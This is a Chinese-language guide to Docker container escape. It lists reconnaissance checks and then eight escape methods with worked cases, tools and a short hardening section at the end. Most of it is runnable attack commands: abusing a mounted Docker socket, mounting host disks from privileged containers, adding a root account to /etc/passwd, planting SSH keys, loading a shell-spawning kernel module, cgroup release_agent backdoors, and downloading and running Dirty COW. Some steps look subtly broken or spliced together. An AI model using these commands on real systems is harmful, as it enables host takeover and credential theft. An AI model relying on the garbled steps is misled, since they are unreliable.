Docker 容器逃逸技术

概述

容器逃逸是指攻击者突破容器隔离限制,获取宿主机权限。常见于配置错误、内核漏洞、特权容器等场景。

攻击等级: ⭐⭐⭐⭐⭐
适用场景: 云环境渗透、容器突破


容器信息收集

检查容器环境

# 确认在容器内
cat /proc/1/cgroup
cat /.dockerenv
ls -la /

# 查看容器信息
hostname
cat /etc/hosts

# 检查挂载
mount
df -h

# 检查能力
capsh --print

检查特权模式

# 检查是否特权容器
cat /proc/1/status | grep Cap
# CapEff: 0000003fffffffff 表示全能力 (特权)

# 检查设备
ls -la /dev/
# 存在 /dev/sda, /dev/kmsg 等表示可能特权

检查挂载点

# 查找敏感挂载
findmnt -l

# 检查 Docker socket
ls -la /var/run/docker.sock
ls -la /run/docker.sock

# 检查宿主机挂载
cat /proc/mounts | grep -v cgroup

常见逃逸手法

1. Docker Socket 挂载

原理: Docker socket 挂载到容器内,可控制 Docker 守护进程。

检测:

ls -la /var/run/docker.sock
# 如果存在,可逃逸

利用:

# 1. 安装 Docker CLI (如果不存在)
apt update && apt install -y docker.io

# 2. 列出容器
docker ps

# 3. 创建特权容器
docker run -it --rm --privileged -v /:/host alpine chroot /host

# 4. 或使用 Docker API
curl --unix-socket /var/run/docker.sock \
  http://localhost/containers/json

# 5. 启动新容器挂载宿主机
curl --unix-socket /var/run/docker.sock \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["cat", "/host/etc/shadow"],
    "HostConfig": {
      "Binds": ["/:/host"]
    }
  }' \
  http://localhost/containers/create

# 6. 执行命令
docker exec -it CONTAINER_ID cat /host/etc/shadow

2. 特权容器 (Privileged)

原理: 特权容器拥有所有 Linux 能力,可访问宿主机设备。

检测:

# 检查能力
cat /proc/1/status | grep CapEff
# 0000003fffffffff = 特权

# 检查设备
ls -la /dev/sda
ls -la /dev/kmsg

利用:

# 方法 1: 挂载宿主机文件系统
mkdir /host
mount /dev/sda1 /host
chroot /host

# 方法 2: 使用 nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# 方法 3: 修改宿主机文件
echo "attacker:x:0:0:root:/root:/bin/bash" >> /host/etc/passwd

# 方法 4: 写入 SSH 密钥
mkdir -p /host/root/.ssh
cp /root/.ssh/id_rsa.pub /host/root/.ssh/authorized_keys

3. 危险挂载

原理: 敏感目录挂载到容器内。

检测:

# 查找挂载
findmnt -l | grep -E "/|/proc|/sys|/dev"

# 检查挂载点
cat /proc/mounts

利用:

# 1. 宿主机根目录挂载
# 如果 /host 或类似挂载点存在
chroot /host

# 2. /proc 挂载
# 可以访问宿主机进程
nsenter -t $(cat /host/proc/1/stat | awk '{print $1}') -a

# 3. /sys 挂载
# 可以修改内核参数
echo 1 > /host/sys/kernel/kexec_load_disabled

# 4. /dev 挂载
# 可以访问宿主机设备
dd if=/dev/sda of=/tmp/disk.img

4. capabilities 滥用

原理: 容器拥有危险 Linux 能力。

检测:

# 检查能力
capsh --print

# 危险能力
CAP_SYS_ADMIN      # 最危险,几乎等同于 root
CAP_SYS_PTRACE     # 可调试进程
CAP_SYS_MODULE     # 可加载内核模块
CAP_DAC_READ_SEARCH # 可绕过文件权限
CAP_NET_ADMIN      # 可配置网络

利用:

CAP_SYS_ADMIN

# 挂载宿主机文件系统
mkdir /host
mount -t proc proc /host/proc
mount -t sysfs sysfs /host/sys
mount --bind / /host

# 使用 nsenter
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

CAP_SYS_PTRACE

# 1. 找到宿主机 PID 1
ps aux | grep -v grep

# 2. 调试进程
gdb -p 1

# 3. 或使用 nsenter
nsenter -t 1 -p -m -u -i -n bash

CAP_SYS_MODULE

# 1. 创建恶意内核模块
cat > exploit.c << EOF
#include <linux/module.h>
#include <linux/kmod.h>

static int __init exploit_init(void) {
    char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
    call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_EXEC);
    return 0;
}

module_init(exploit_init);
MODULE_LICENSE("GPL");
EOF

# 2. 编译
make -C /lib/modules/$(uname -r)/build M=$PWD modules

# 3. 加载模块
insmod exploit.ko

# 4. 获取宿主机 shell
# 使用 open_by_handle_at 漏洞
# 编译 exploit
gcc -o exploit exploit.c -lcap

# 读取任意文件
./exploit /host/etc/shadow

5. cgroup 逃逸

原理: cgroup 配置错误导致逃逸。

检测:

# 检查 cgroup
cat /proc/self/cgroup

# 查找 cgroup 目录
ls -la /sys/fs/cgroup/

利用:

# 1. 查找可写 cgroup
find /sys/fs/cgroup -writable

# 2. 创建通知程序
echo '#!/bin/sh' > /tmp/notify.sh
echo 'chmod 777 /host' >> /tmp/notify.sh
chmod +x /tmp/notify.sh

# 3. 注册通知
echo /tmp/notify.sh > /sys/fs/cgroup/cgroup.notify_on_release

# 4. 触发
echo $$ > /sys/fs/cgroup/cgroup.procs

# 5. 访问宿主机
ls -la /host

6. 脏牛 (Dirty COW)

原理: CVE-2016-5195 内核提权漏洞。

检测:

# 检查内核版本
uname -r
# < 4.8.3 可能受影响

利用:

# 1. 下载 exploit
wget https://github.com/firefart/dirtycow/raw/master/dirty.c

# 2. 编译
gcc -pthread dirty.c -o dirty -lcrypt

# 3. 执行
./dirty password

# 4. 切换用户
su root
# 密码:password

7. OverlayFS 逃逸

原理: OverlayFS 挂载配置错误。

检测:

# 检查挂载
mount | grep overlay

# 查找 lowerdir
cat /proc/mounts | grep overlay

利用:

# 1. 创建白目录
mkdir /tmp/white

# 2. 挂载
mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/white,workdir=/tmp/work /mnt

# 3. 访问
cd /mnt
# 可以修改宿主机文件

8. 共享命名空间

原理: 容器与宿主机共享命名空间。

检测:

# 检查命名空间
ls -la /proc/1/ns/

# 比较 PID
ps aux | head -5

利用:

# 1. 进入宿主机命名空间
nsenter --target 1 --all

# 2. 或使用 unshare
unshare --pid --fork --mount-proc bash

实战案例

案例 1: Docker Socket 逃逸

# 1. 发现 socket
ls -la /var/run/docker.sock

# 2. 安装 Docker CLI
apt update && apt install -y docker.io

# 3. 创建特权容器
docker run -it --rm --privileged -v /:/host ubuntu:latest

# 4. 切换到宿主机
chroot /host

# 5. 获取宿主机 root
whoami  # root
hostname  # 宿主机名

案例 2: 特权容器 + 设备访问

# 1. 检查特权
cat /proc/1/status | grep CapEff
# 0000003fffffffff

# 2. 检查设备
ls -la /dev/sda

# 3. 挂载宿主机
mkdir /host
mount /dev/sda1 /host

# 4. 访问宿主机
cat /host/etc/shadow
chroot /host

案例 3: CAP_SYS_PTRACE 逃逸

# 1. 检查能力
capsh --print
# cap_sys_ptrace+ep

# 2. 找到宿主机 PID 1
ps aux | grep init

# 3. nsenter
nsenter -t 1 -p -m -u -i -n -b

# 4. 获取宿主机 shell
whoami  # root

案例 4: cgroup 逃逸

# 1. 查找可写 cgroup
find /sys/fs/cgroup -writable

# 2. 创建后门
echo '#!/bin/sh' > /tmp/x
echo 'chmod +s /bin/bash' >> /tmp/x
chmod +x /tmp/x

# 3. 注册
echo /tmp/x > /sys/fs/cgroup/release_agent

# 4. 触发
echo $$ > /sys/fs/cgroup/cgroup.procs

# 5. 执行
/bin/bash -p

工具

linux-exploit-suggester

# 下载
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh

# 执行
bash linux-exploit-suggester.sh

LinPEAS

# 下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# 执行
chmod +x linpeas.sh
./linpeas.sh

Breakout

# Docker 逃逸工具
git clone https://github.com/GreyOrder/docker-breakout
cd docker-breakout

# 检测
python3 detect.py

# 逃逸
python3 escape.py

防御建议

容器配置

# docker-compose.yml 安全配置
version: '3'
services:
  app:
    image: myapp
    privileged: false          # 禁用特权
    read_only: true            # 只读文件系统
    cap_drop:                  # 丢弃能力
      - ALL
    cap_add:
      - NET_BIND_SERVICE
    security_opt:
      - no-new-privileges:true
    tmpfs:
      - /tmp
      - /run
    volumes:
      - ./data:/app/data:ro    # 只读挂载

运行时防护

# 1. 不要挂载 Docker socket
# 除非绝对必要

# 2. 使用用户命名空间
# /etc/docker/daemon.json
{
  "userns-remap": "default"
}

# 3. 启用 seccomp
docker run --security-opt seccomp=default ...

# 4. 启用 AppArmor
docker run --security-opt apparmor=docker-default ...

# 5. 限制能力
docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

监控检测

# 1. 监控特权容器
docker ps --filter "privileged=true"

# 2. 监控敏感挂载
docker inspect CONTAINER | grep -E "/|/proc|/sys"

# 3. 监控 Docker socket 访问
auditctl -w /var/run/docker.sock -p rwxa -k docker_socket

# 4. 系统调用监控
# Falco, Sysdig

参考链接